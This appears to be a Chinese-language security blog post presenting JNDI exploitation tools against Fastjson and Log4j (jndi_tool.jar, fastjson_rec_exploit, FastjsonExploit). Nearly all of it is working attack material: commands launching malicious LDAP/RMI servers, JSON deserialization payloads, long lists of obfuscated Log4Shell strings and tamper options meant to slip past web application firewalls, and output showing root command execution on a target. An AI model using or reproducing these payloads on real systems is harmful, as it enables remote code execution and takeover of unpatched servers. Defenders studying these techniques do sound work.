[ ]
[on 0.0.0.0:80 ] LDAP Listening
[for Exploit redirecting to http://xx.xx.xx.xx:80/Object.class ] Send LDAP reference result
[from /xx.xx.xx.xx:33548 /Object.class ] Have connection
[1.7.0_79, use payload version: jdk7 ] remote target jdk version: java/
[1.7.0_79, use payload version: jdk7 ] remote target jdk version: java/
[ ] send payload done and exit.
rmi:
1. 启动RMI服务,后面写要执行的语句
java -cp jndi_tool.jar jndi.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"
2.发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
3. 查看日志是否curl成功
ldap:
1. 启动LDAP服务,后面写要执行的语句
> java -cp jndi_tool.jar jndi.LDAPRefServer 1099 host="0.0.0.0"
[-2,CommonsCollections1-10,CommonsCollectionsK1-4,Groovy1,Clojure,JSON1,Spring1-2,URLDNS,file,tomcat,groovy ] Payloads: CommonsBeanutils1
[//0.0.0.0:1099/CommonsBeanutils1/curl x.cn ] etc: ldap:
[//0.0.0.0:1099/CommonsCollections1/bash=ping x.cn # bash=后面的命令会自动进行base64编码,支持base=,python=,powershell=,perl= ] etc: ldap:
[//0.0.0.0:1099/URLDNS/x.cn ] etc: ldap:
[//0.0.0.0:1099/file/base64data_filename ] etc: ldap:
[//0.0.0.0:1099/el/whomai ] etc: ldap:
[//0.0.0.0:1099/groovy/whomai ] etc: ldap:
[//0.0.0.0:1099/mlet/http://xx.xx ] etc: ldap:
[//0.0.0.0:1099/groovyload/http://xx.xx ] etc: ldap:
[//0.0.0.0:1099/snakeyaml/http://xx.xx/x.jar ] etc: ldap:
[//0.0.0.0:1099/xstream/curl x.dns ] etc: ldap:
[//0.0.0.0:1099/mvel/whoami ] etc: ldap:
[//0.0.0.0:1099/loadlib//tmp/nativeLib_name ] etc: ldap:
[//0.0.0.0:1099/tomcatxxe/http://xx.xx/xxe.xml ] etc: ldap:
jdbc:
[//0.0.0.0:1099/tomcatdbcp/whoami ] etc: ldap:
[//0.0.0.0:1099/tomcatdbcp2/whoami ] etc: ldap:
[//0.0.0.0:1099/commondbcp/whoami ] etc: ldap:
[//0.0.0.0:1099/commondbcp2/whoami ] etc: ldap:
[//0.0.0.0:1099/tomcatjdbc/whoami ] etc: ldap:
[//0.0.0.0:1099/druidjdbc/whoami ] etc: ldap:
2.发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com","autoCommit":true}
3.查看日志是否执行成功
fastjson:
> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 1099 file=filename
filename为请求包,需要插入fastjson攻击语句的地方,用__PAYLOAD__代替。示例:
POST /fastjson_demo HTTP/1.1
Host: xx.xx.xx.xx
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json
Content-Length: 165
__PAYLOAD__
> java -cp jndi_tool.jar jndi.fastjson.LDAPRefServerAuto 127.0.0.1 8088 file=req chunk=on
[-] Chunked coding ON
[-] target: https://xx.xx.xx.xx/fastjson_demo
[-] Payload list:
0. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}
1. {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}
[-] [-] please chosse payload, or input payload like payload={......} chunk=on / chunk=off
> 1
[-] url: https://xx.xx.xx.xx/fastjson_demo
[-] post_data: {"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:8088/Object","autoCommit":true}}
[-] LDAP Listening on 127.0.0.1:8088
[-] checking CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[*] CHECK ECHO.
[-] ECHO FIND.
[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off
> id
uid=0(root) gid=0(root) groups=0(root)
[-] please enter command, enter q or quit to quit, tomcatshell or springshell get memshell, chunk=on / chunk=off
> q
[-] quit
> fastjson.Tamper : fastjson的一些特性,可以绕一些WAF
[-] tamper list:
tohex
tounicode
tohexunicode
tourlencode
randomhex
randomunicode
addis
addcomment
addmorecomment
addcommas
addrandomx
add-
add_
addsize 填充内容
tamper支持多个,但有些不能一起用,多个注意使用的先后顺序,例如 tohex,addcomment
log4j:
> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 url=http://xx.xx.xx
[-] LDAP Listening on 0.0.0.0:80
0. ${jndi:ldap://********/xobject}
1. ${jndi:ldap://127.0.0.1#********/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}
6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}
7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}
9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 4
[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://****/xobject}
> threads: 1
> url count: 1
[-] start exploit. waiting...
>> target is vul: http://xx.xx.xx
[-] waiting exit...
[-] exit.
> java -cp jndi_tool.jar jndi.log4j.Log4j vps_ip 8099 urls=1.txt
[-] LDAP Listening on 0.0.0.0:80
0. ${jndi:ldap://********/xobject}
1. ${jndi:ldap://127.0.0.1#********/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://********/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://********/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
5. ${${spH::-j}${Gdt:zhN:-n}${YCJe::-d}${t:bbru:-i}:${irS:LbN:-l}${m:vjW:-d}${UFd:VVf:-a}${W::-p}://********/xobject}
6. ${${bQjc::cQT:-j}${fQLP:NAJR:-n}${Ko:c:G:lbhy:-d}${:GXH::Sd:-i}:${MEU:TXgc:VRc:-l}${A:eMJA:qA:kNXt:-d}${:W::-a}${JbuH:Pbq:IDW:-p}://********/xobject}
7. ${${lower:${lower:${lower:j}}}${lower:${lower:n}}${lower:d}${lower:i}:${lower:${lower:l}}${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:${lower:a}}}}}${lower:${lower:p}}://********/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:${upper:p}}}}://********/xobject}
9. ${${upper:${upper:${lower:j}}}${upper:${lower:n}}${lower:${upper:${lower:d}}}${upper:${lower:i}}:${upper:l}${upper:${upper:d}}${lower:${upper:a}}${upper:${lower:${lower:p}}}://********/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 4
[-] payload: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://********/xobject}
> threads: 2
> url count: 2
[-] start exploit. waiting...
>> target is vul: http://xx.xx.xx
>> target is vul: http://xx.xx.xx
[-] waiting exit...
[-] exit.
> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] remote target jdk version: java/1.8.0_131, use payload version: jdk8
[-] send payload done
[-] waiting result...
result:
root
> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/ w=tomcat // 高版本jdk的绕过,依赖el
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] input class: tomcat, command: curl xx.xx.xx
[*] Send data...
[-] exit.
> java -cp jndi_tool.jar jndi.log4j.Tamper "${jndi:ldap://127.0.0.1/a}" random=true
[-] process all string is: False
[-] random process string is: True
--------------------------------------------------
${jndi:ldap://127.0.0.1/a}
${j${upper:n}d${upper:i}:l${upper:d}${upper:a}p://127.0.0.1/a}
${j${upper:n}d${upper:${upper:i}}:l${upper:d}${upper:a}p://127.0.0.1/a}
${j${lower:n}d${lower:i}:l${lower:d}${lower:a}p://127.0.0.1/a}
${j${::-n}d${::-i}:l${::-d}${::-a}p://127.0.0.1/a}
${j${Omhc:qBz:-n}d${b:Hz:-i}:l${vX::-d}${puF:A:-a}p://127.0.0.1/a}
${j${Ez:mk:cHK:Xwn::-n}d${TXjk:LN:vBjQ::-i}:l${Nz:Of:bfDt:AgIH:-d}${TDN:SchK:uWu::-a}p://127.0.0.1/a}
${j${lower:${lower:n}}d${lower:${lower:${lower:${lower:i}}}}:l${lower:${lower:${lower:d}}}${lower:${lower:${lower:${lower:a}}}}p://127.0.0.1/a}
${j${upper:${upper:${upper:n}}}d${upper:${upper:${upper:${upper:i}}}}:l${upper:${upper:d}}${upper:${upper:a}}p://127.0.0.1/a}
${j${lower:${lower:${lower:${lower:n}}}}d${upper:${lower:${upper:i}}}:l${lower:d}${upper:${upper:${lower:a}}}p://127.0.0.1/a}
JNDI在高版本的JDK下的利用,综合了(乌云最帅没有之一)浅蓝老板的姿势,很赞
fastjson_rec_exploit
https://github.com/mrknow001/fastjson_rec_exploit
优点:对fastjson有绕过模块
使用说明:
fastjson一键命令执行
脚本使用:
usage: Fastjson one-key command is executed! [-h] [-u URL] [-s SELF] [-c COMMAMD]
python3 fastjson.py -u [Target Url] -s [self IP] -c [command]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 漏洞url
-s SELF, --self SELF 自己IP,如果是VPS请输入公网IP
-c COMMAMD, --commamd COMMAMD 执行的命令,有空格请加上双引号
-m [MODE], --mode [MODE] 选择执行模式(可选),1:ldap模式(默认);2:rmi模式
python3 fastjson.py -u http://192.168.1.3/ -s 192.168.1.1 -c "touch /tmp/test.txt
FastjsonExploit
https://github.com/c0ny1/FastjsonExploit
优点:
FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架,主要功能如下:
1. 一键生成利用payload,并启动所有利用环境。
2. 管理Fastjson各种payload(当然是立志整理所有啦,目前6个类,共11种利用及绕过)
使用说明
建造环境
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
使用方法
-. -. . . .
.',----- - - ' '
;--:- __--------------------__
|ooo___ | |_!_||_!_||_!_||_!_| |
..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
,____________'_|,L______],|______________________|
=(@)(@) (o)(o) (o)^(o)--(o)^(o) =
FastjsonExploit is a Fastjson library vulnerability exploit framework
Author:c0ny1<[email protected]>
Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"
Available payload types:
Payload PayloadType VulVersion Dependencies
----------- ---------- ------------
BasicDataSource1 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
BasicDataSource2 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl1 jndi 1.2.2.1-1.2.2.4
JdbcRowSetImpl2 jndi 1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass
JdbcRowSetImpl3 jndi 1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass
JdbcRowSetImpl4 jndi 1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass
JdbcRowSetImpl5 jndi 1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass
JndiDataSourceFactory1 jndi 1.2.2.1-1.2.2.4 ibatis-core:3.0
SimpleJndiBeanFactory1 jndi 1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE
TemplatesImpl1 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
TemplatesImpl2 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
关注我们
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论